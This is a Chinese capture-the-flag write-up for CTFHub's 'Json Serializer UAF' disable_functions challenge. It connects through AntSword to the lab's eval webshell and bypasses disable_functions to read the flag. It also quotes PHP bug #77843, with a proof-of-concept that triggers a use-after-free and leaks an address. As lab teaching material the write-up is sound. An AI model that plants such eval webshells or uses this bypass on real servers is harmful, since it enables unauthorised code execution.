目录
[一、Json Serializer UAF渗透实战](#一、Json Serializer UAF渗透实战)
[5、蚁剑工具-disable function](#5、蚁剑工具-disable function)
[(1)disable function插件](#(1)disable function插件)
[(2)Json Serializer UAF插件](#(2)Json Serializer UAF插件)
[2、PHP Bug #77843 简介](#77843 简介)
本文详细讲解CTFHub的Web进阶中disable-functions的Json Serializer UAF关卡的渗透全流程,展示利用PHP JSON序列化组件Bug#77843绕过disable_functions限制的渗透方法。通过蚁剑工具连接靶场后,使用disablefunction插件中的JsonSerializerUAF模式成功执行命令获取flag。该风险源于PHP 7.3.3版本中json_encode处理JsonSerializable接口时的引用计数错误,导致释放后使用(UAF)风险。攻击者通过精心构造的序列化对象触发内存重用,最终实现命令执行。
一、 Json Serializer UAF渗透实战
打开"Json Serializer UAF"关卡,页面提示"理论上PHP本地代码执行都可以用来 Bypass disable_function, 比如 GC UAF",如下所示。

特别注意:本关卡还附带了题目附件,我们将在第二部分讲解。
1、打开靶场
http://challenge-d84982885c2360b7.sandbox.ctfhub.com:10800/

2、源码分析
这是一个基于PHP JsonSerializer组件的UAF(Use-After-Free)风险的利用环境,攻击者通过eval($_REQUEST['ant'])注入恶意代码,旨在绕过PHP的disable_functions安全限制。利用JSON序列化过程中释放内存后未及时清理的指针,通过精心构造的请求触发内存重用,最终实现命令执行和Webshell权限维持,源码如下所示。
本环境来源于AntSword-Labs
<!DOCTYPE html>
<html>
<head>
<title>CTFHub Bypass disable_function ------ Json Serializer UAF</title>
</head>
<body>
<h1>CTFHub Bypass disable_function ------ Json Serializer UAF</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
3、蚁剑直接连接
http://challenge-d84982885c2360b7.sandbox.ctfhub.com:10800/ 密码ant


4、虚拟终端
进入虚拟终端执行ls和dir命令,如下所示,命令执行失败。


5、蚁剑工具-disable function
(1)disable function插件
我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)Json Serializer UAF插件
插件选择 Json Serializer UAF模式,如下所示点击开始。

点击开始后弹出新的虚拟终端,具体如下所示。

(3)获取flag
在新的终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。

二、原理分析
1、题目附件
URL地址链接:PHP :: Bug #77843 :: Use after free with json serializer
https://bugs.php.net/bug.php?id=77843

Bug #77843 Use after free with json serializer
Submitted: 2019-04-04 06:59 UTC Modified: 2019-04-18 14:42 UTC
Votes: 1
Avg. Score: 3.0 ± 0.0
Reproduced: 0 of 0 (0.0%)
From: hanno at hboeck dot de Assigned: nikic (profile)
Status: Closed Package: JSON related
PHP Version: 7.3.3 OS: Linux
Private report: No CVE-ID: None
ViewDeveloperEdit
[2019-04-04 06:59 UTC] hanno at hboeck dot de
Description:
------------
Together with a recent apache vulnerability
https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
a use after free 0day bug in PHP was disclosed.
Just want to make sure you're aware of it. Compiling PHP 7.3.3 with ASAN gives me this stack trace:
==22468==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000006288 at pc 0x000001b53104 bp 0x7ffc38a68850 sp 0x7ffc38a68848
READ of size 8 at 0x606000006288 thread T0
#0 0x1b53103 in ZEND_FETCH_OBJ_R_SPEC_UNUSED_CONST_HANDLER /f/php-7.3.3/Zend/zend_vm_execute.h:31199:8
#1 0x19ef40c in execute_ex /f/php-7.3.3/Zend/zend_vm_execute.h:55334:7
#2 0x183aa71 in zend_call_function /f/php-7.3.3/Zend/zend_execute_API.c:756:3
#3 0x1839366 in _call_user_function_ex /f/php-7.3.3/Zend/zend_execute_API.c:598:9
#4 0x1197b9a in php_json_encode_serializable_object /f/php-7.3.3/ext/json/json_encoder.c:490:17
#5 0x1197b9a in php_json_encode_zval /f/php-7.3.3/ext/json/json_encoder.c:567
#6 0x11a0491 in php_json_encode_array /f/php-7.3.3/ext/json/json_encoder.c:218:8
#7 0x1197e92 in php_json_encode_zval /f/php-7.3.3/ext/json/json_encoder.c:571:11
#8 0x11a0491 in php_json_encode_array /f/php-7.3.3/ext/json/json_encoder.c:218:8
#9 0x1197e92 in php_json_encode_zval /f/php-7.3.3/ext/json/json_encoder.c:571:11
#10 0x119528c in zif_json_encode /f/php-7.3.3/ext/json/json.c:286:2
#11 0x1bbbb10 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /f/php-7.3.3/Zend/zend_vm_execute.h:645:2
#12 0x19ef40c in execute_ex /f/php-7.3.3/Zend/zend_vm_execute.h:55334:7
#13 0x19efcdf in zend_execute /f/php-7.3.3/Zend/zend_vm_execute.h:60881:2
#14 0x1889d94 in zend_execute_scripts /f/php-7.3.3/Zend/zend.c:1568:4
#15 0x16990b7 in php_execute_script /f/php-7.3.3/main/main.c:2630:14
#16 0x1cc58b3 in do_cli /f/php-7.3.3/sapi/cli/php_cli.c:997:5
#17 0x1cc23e2 in main /f/php-7.3.3/sapi/cli/php_cli.c:1392:18
#18 0x7faa220d64fa in __libc_start_main (/lib64/libc.so.6+0x244fa)
#19 0x424419 in _start (/f/php-7.3.3/sapi/cli/php+0x424419)
Test script:
---------------
<?php
class X extends DateInterval implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $p;
unset($y[0]);
$p = $this->y;
return $this;
}
}
function get_aslr()
{
global $p, $y;
$p = 0;
$y = [new X('PT1S')];
json_encode([1234 => &$y]);
print("ADDRESS: 0x" . dechex($p) . "\n");
return $p;
}
get_aslr();
Patches
Pull Requests
History
AllCommentsChangesGit/SVN commitsRelated reports
[2019-04-04 07:07 UTC] stas@php.net
-Type: Security
+Type: Bug
-Package: Reproducible crash
+Package: JSON related
[2019-04-04 07:07 UTC] stas@php.net
This looks like it requires specially crafted code, therefore not a security issue.
[2019-04-18 14:42 UTC] nikic@php.net
-Assigned To:
+Assigned To: nikic
[2019-04-18 14:42 UTC] nikic@php.net
Slightly simplified test code (valgrind):
class X implements JsonSerializable {
public $prop = "value";
public function jsonSerialize() {
global $arr;
unset($arr[0]);
var_dump($this);
return $this;
}
}
$arr = [new X()];
var_dump(json_encode([&$arr]));
We need to make sure a ref is kept when calling jsonSerialize() and probably also when recursing over arrays/objects in general (as something may be unset at a higher level).
[2019-04-23 10:44 UTC] nikic@php.net
Automatic comment on behalf of nikita.ppv@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=4831e150c5ada631c1480098b8a42cbf024d8899
Log: Fixed bug #77843
[2019-04-23 10:44 UTC] nikic@php.net
-Status: Assigned
+Status: Closed
2、PHP Bug #77843 简介
PHP Bug #77843 是 2019 年 4 月披露的、存在于 PHP 7.3.3 版本 中与 JSON 序列化相关的释放后使用(Use After Free)的风险 ,由用户 hanno at hboeck dot de 报告,可通过构造实现JsonSerializable接口的类(如自定义X类继承DateInterval并重写jsonSerialize方法)触发,在json_encode处理含引用的数组时,因未保留对象引用导致内存被释放后仍被访问,进而产生堆内存错误;官方最初将其归类为 "Bug" 而非安全问题,最终由 nikic 分配处理并于 2019 年 4 月 23 日通过提交修复,该风险无 CVE 编号,复现率为 0%,投票数 1,平均评分 3.0±0.0。
| 字段 | 详情 |
|---|---|
| Bug ID | #77843 |
| 标题 | Use after free with json serializer(JSON 序列化器相关的释放后使用) |
| 报告时间 | 2019 年 4 月 4 日 06:59 UTC |
| 报告者 | hanno at hboeck dot de |
| 处理状态 | 已关闭(Closed) |
| 分配处理人 | nikic(PHP 核心开发者) |
| 所属包 | JSON related(JSON 相关模块) |
| 影响 PHP 版本 | 7.3.3 |
| 运行操作系统 | Linux |
| 私有报告标识 | No(非私有报告,内容公开) |
| CVE 编号 | None(未分配 CVE) |
| 社区投票 | 1 票 |
| 平均评分 | 3.0 ± 0.0(满分 5 分,影响程度中等) |
| 复现率 | 0 of 0(0.0%,无有效复现记录) |
3、原理详解
核心原因是json_encode在处理实现JsonSerializable接口的对象时,未正确保留对象引用:
- 当通过
json_encode处理含引用的数组时,进入自定义jsonSerialize方法; - 方法内部执行
unset操作删除数组中的对象元素,导致对象内存被标记为可释放并被回收; - 后续代码仍试图访问已释放的对象属性(如
$this->y),触发堆内存读取错误(heap-use-after-free)。